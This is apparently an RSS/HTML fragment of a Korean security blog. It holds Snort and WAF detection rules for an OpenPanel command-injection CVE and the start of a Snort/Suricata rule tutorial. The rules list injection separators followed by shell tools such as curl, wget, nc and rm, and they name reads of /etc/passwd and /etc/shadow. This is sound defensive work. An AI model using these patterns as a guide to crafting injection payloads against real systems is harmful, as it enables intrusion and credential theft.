&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;alert tcp any any -&amp;gt; $HOME_NET any (&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;nbsp; &amp;nbsp; msg:&quot;OpenPanel - OS Command Injection(CVE-2024-53584)&quot;;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;nbsp; &amp;nbsp; flow:to_server,established;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;nbsp; &amp;nbsp; http_method; content:&quot;POST&quot;;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;nbsp; &amp;nbsp; http_uri; content:&quot;/server/timezone&quot;; nocase;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;nbsp; &amp;nbsp; http_client_body; content:&quot;timezone=&quot;; nocase;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp; &amp;nbsp; pcre:&quot;/timezone\s*=\s*.*(\|\||\&amp;amp;\&amp;amp;|\||\&amp;amp;|\;)\s*(curl|wget|nc|python|perl|bash|cat|whoami|id|ls|rm|touch|chmod|chown|ping|echo|netstat|uname|hostname|find|grep|ln|shutdown|reboot|ps|top|df|mount|ifconfig|ip\s+a)/i&quot;;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp; &amp;nbsp; classtype:web-application-attack;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp; &amp;nbsp; sid:20250617; rev:1;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. &lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;etc/&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;디렉터리&lt;/span&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;내&lt;/span&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;중요&lt;/span&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;파일&lt;/span&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;접근&lt;/span&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;탐지&lt;/span&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;alert tcp any any -&amp;gt; $HOME_NET any (&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;nbsp; &amp;nbsp; msg:&quot;OpenPanel - OS Command Injection(CVE-2024-53584) - etc Directory&amp;nbsp;Access&quot;;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;nbsp; &amp;nbsp; flow:to_server,established;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;nbsp; &amp;nbsp; http_method; content:&quot;POST&quot;;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;nbsp; &amp;nbsp; http_uri; content:&quot;/server/timezone&quot;; nocase;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;nbsp; &amp;nbsp; http_client_body; content:&quot;timezone=&quot;; nocase;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;nbsp; &amp;nbsp; pcre:&quot;/timezone\s*=\s*.*(?:\/|%2f)+etc(?:\/|%2f)+(passwd|shadow|group|hosts|resolv\.conf|hostname|crontab)/i&quot;;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;nbsp; &amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;classtype:web-application-attack;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp; &amp;nbsp; sid:20250618; rev:1;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. WAF 탐지 패턴&lt;/p&gt;
&lt;table style=&quot;background-color: #ffffff; color: #212121; text-align: start; border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; width=&quot;0&quot; data-workseditor=&quot;Table&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;background-color: #ffffff;&quot; width=&quot;475&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;uricontent:&quot;/server/timezone&quot;; nocase; content:&quot;POST&quot;; depth:4; content:&quot;timezone=&quot;; nocase; content:&quot;|3b|&quot;; within: 15;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;참고&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;a href=&quot;https://www.exploit-db.com/exploits/52197&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.exploit-db.com/exploits/52197&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-53584&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-53584&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description>
      <category>보안/PoC 분석</category>
      <category>CVE-2024-53584</category>
      <category>os command injection</category>
      <category>POC</category>
      <category>Snort</category>
      <author>Security Engineer</author>
      <guid isPermaLink="true">https://it-log.tistory.com/226</guid>
      <comments>https://it-log.tistory.com/226#entry226comment</comments>
      <pubDate>Sun, 22 Jun 2025 22:00:39 +0900</pubDate>
    </item>
    <item>
      <title>스노트(Snort)</title>
      <link>https://it-log.tistory.com/225</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;스노트는 무엇인가?&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;스노트(Snort)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 1998년 마틴 로쉬가 오픈소스로 개발&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 시그니처 기반 네트워크 침입 탐지 시스템&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 작동 방식: Sniffer Mode, Packet Logging Mode, NIDS Mode&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;스노트 동작&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1313&quot; data-origin-height=&quot;162&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/my8F5/btsOveH046j/cOUFhjKBSU6xm6zZHf8aek/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/my8F5/btsOveH046j/cOUFhjKBSU6xm6zZHf8aek/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/my8F5/btsOveH046j/cOUFhjKBSU6xm6zZHf8aek/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fmy8F5%2FbtsOveH046j%2FcOUFhjKBSU6xm6zZHf8aek%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1313&quot; height=&quot;162&quot; data-origin-width=&quot;1313&quot; data-origin-height=&quot;162&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 스니퍼: 네트워크 패킷 수집&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 패킷 디코더: 전처리기와 탐지 엔진이 파싱 할 수 있도록 정규화&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 전처리기: 특정 행위가 발견된 패킷을 탐지 엔진으로 전송&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 탐지엔진: 전달받은 패킷을 스노트 규칙에 매칭되는지 확인&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 경고/로깅: 스노트 규칙에 매칭된 경우 경고 출력 및 기록&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;수리카타는 무엇인가?&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;수리카타(Suricata)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 오픈 소스 보안 재단(OISF)에서 개발한 시그니처 기반 네트워크 침입 탐지 시스템&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 멀티 코어 / 멀티 스레드 지원하여 대용량 트래픽 처리 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- LUA 언어로 시그니처 작성&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 스노트 기능 및 규칙 호환&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;수리카타 동작&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;710&quot; data-origin-height=&quot;498&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c2jdQ9/btsOs4HlpI4/VcBfxA4fLkkdBDfOrC1IyK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c2jdQ9/btsOs4HlpI4/VcBfxA4fLkkdBDfOrC1IyK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c2jdQ9/btsOs4HlpI4/VcBfxA4fLkkdBDfOrC1IyK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc2jdQ9%2FbtsOs4HlpI4%2FVcBfxA4fLkkdBDfOrC1IyK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;710&quot; height=&quot;498&quot; data-origin-width=&quot;710&quot; data-origin-height=&quot;498&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;스노트 관련 파일 경로&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 스노트 규칙 파일 경로: /etc/nsm/rules&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- downloaded.rules: 기본으로 제공되는 스노트 규칙 파일&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- local.rules: 사용자가 정의한 스노트 규칙 파일&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1044&quot; data-origin-height=&quot;507&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CcVea/btsOuvjtLzz/zdNutXPFOOpGL1rKFfWQ01/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CcVea/btsOuvjtLzz/zdNutXPFOOpGL1rKFfWQ01/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CcVea/btsOuvjtLzz/zdNutXPFOOpGL1rKFfWQ01/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCcVea%2FbtsOuvjtLzz%2FzdNutXPFOOpGL1rKFfWQ01%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1044&quot; height=&quot;507&quot; data-origin-width=&quot;1044&quot; data-origin-height=&quot;507&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 스노트 설정 파일 경로: /etc/nsm/templates/snort&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- snort.conf: 스노트 설정 파일&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1011&quot; data-origin-height=&quot;381&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cl0PeW/btsOveVzHSY/3lKBz4pDhdKLV3t5Vq9tIK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cl0PeW/btsOveVzHSY/3lKBz4pDhdKLV3t5Vq9tIK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cl0PeW/btsOveVzHSY/3lKBz4pDhdKLV3t5Vq9tIK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcl0PeW%2FbtsOveVzHSY%2F3lKBz4pDhdKLV3t5Vq9tIK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1011&quot; height=&quot;381&quot; data-origin-width=&quot;1011&quot; data-origin-height=&quot;381&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;규칙 구조(Rule Signature)&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 스노트 시그니처는 &lt;b&gt;규칙 헤더&lt;/b&gt;와 &lt;b&gt;규칙 옵션&lt;/b&gt; 영역으로 구분한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1042&quot; data-origin-height=&quot;116&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zZTfy/btsOuf8TIz7/DlVMgkhrUbRlCkVu40CB30/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zZTfy/btsOuf8TIz7/DlVMgkhrUbRlCkVu40CB30/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zZTfy/btsOuf8TIz7/DlVMgkhrUbRlCkVu40CB30/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FzZTfy%2FbtsOuf8TIz7%2FDlVMgkhrUbRlCkVu40CB30%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1042&quot; height=&quot;116&quot; data-origin-width=&quot;1042&quot; data-origin-height=&quot;116&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 샘플 규칙&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1091&quot; data-origin-height=&quot;234&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/biQKAv/btsOteQzXjJ/Ydn9ppMpMZE33NP5HEaU3K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/biQKAv/btsOteQzXjJ/Ydn9ppMpMZE33NP5HEaU3K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/biQKAv/btsOteQzXjJ/Ydn9ppMpMZE33NP5HEaU3K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbiQKAv%2FbtsOteQzXjJ%2FYdn9ppMpMZE33NP5HEaU3K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1091&quot; height=&quot;234&quot; data-origin-width=&quot;1091&quot; data-origin-height=&quot;234&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;668&quot; data-origin-height=&quot;90&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/SGnGx/btsOxvw1L8l/kmc0ScYosPgToTml6rjX81/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/SGnGx/btsOxvw1L8l/kmc0ScYosPgToTml6rjX81/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/SGnGx/btsOxvw1L8l/kmc0ScYosPgToTml6rjX81/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FSGnGx%2FbtsOxvw1L8l%2Fkmc0ScYosPgToTml6rjX81%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;668&quot; height=&quot;90&quot; data-origin-width=&quot;668&quot; data-origin-height=&quot;90&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;규칙 헤더(Rule Header)&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;액션(Action)&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 118px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 22px;&quot;&gt;
&lt;td style=&quot;width: 13.0232%; text-align: center; height: 22px;&quot;&gt;&lt;b&gt;종 류&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 86.9768%; text-align: center; height: 22px;&quot;&gt;&lt;b&gt;내 용&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 13.0232%; text-align: center; height: 16px;&quot;&gt;&lt;b&gt;Alert&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 86.9768%; height: 16px;&quot;&gt;패킷의 정보를 로그에 기록하고 사용자가 확인할 수 있도록 경고 발생&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 13.0232%; text-align: center; height: 16px;&quot;&gt;&lt;b&gt;Log&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 86.9768%; height: 16px;&quot;&gt;패킷의 정보를 설정한 로그 파일에 기록&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 13.0232%; text-align: center; height: 16px;&quot;&gt;&lt;b&gt;Pass&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 86.9768%; height: 16px;&quot;&gt;패킷 무시. 대부분 사용하지 않지만 특정 네트워크의 트래픽을 무시하고 싶을 때 사용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 13.0232%; text-align: center; height: 16px;&quot;&gt;&lt;b&gt;Drop&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 86.9768%; height: 16px;&quot;&gt;인라인(In-Line)방식으로 구성되어 있을 경우 IPS 역할이 가능. 규칙에 매칭되는 패킷을 차단하고 기록&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 13.0232%; text-align: center; height: 16px;&quot;&gt;&lt;b&gt;Reject&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 86.9768%; height: 16px;&quot;&gt;Drop과 같은 액션을 취함. TCP의 RESET 패킷을 출발지로 전송. ICMP 패킷은 Unreachable 로 반송.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 13.0232%; text-align: center; height: 16px;&quot;&gt;&lt;b&gt;Sdrop&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 86.9768%; height: 16px;&quot;&gt;Drop과 동일하게 패킷을 차단하지만 로그 기록하지 않음.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;프로토콜(Protocol)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- TCP / UDP / ICMP / IP / ANY 중 택 1&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;송신 / 수신 IP (Src/Dst IP)&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 208px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 15.8139%; height: 16px; text-align: center;&quot;&gt;&lt;b&gt;종 류&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 46.8607%; height: 16px; text-align: center;&quot; colspan=&quot;2&quot;&gt;&lt;b&gt;내 용&lt;/b&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 15.8139%; height: 16px; text-align: center;&quot;&gt;&lt;b&gt;!&lt;/b&gt;&lt;/td&gt;
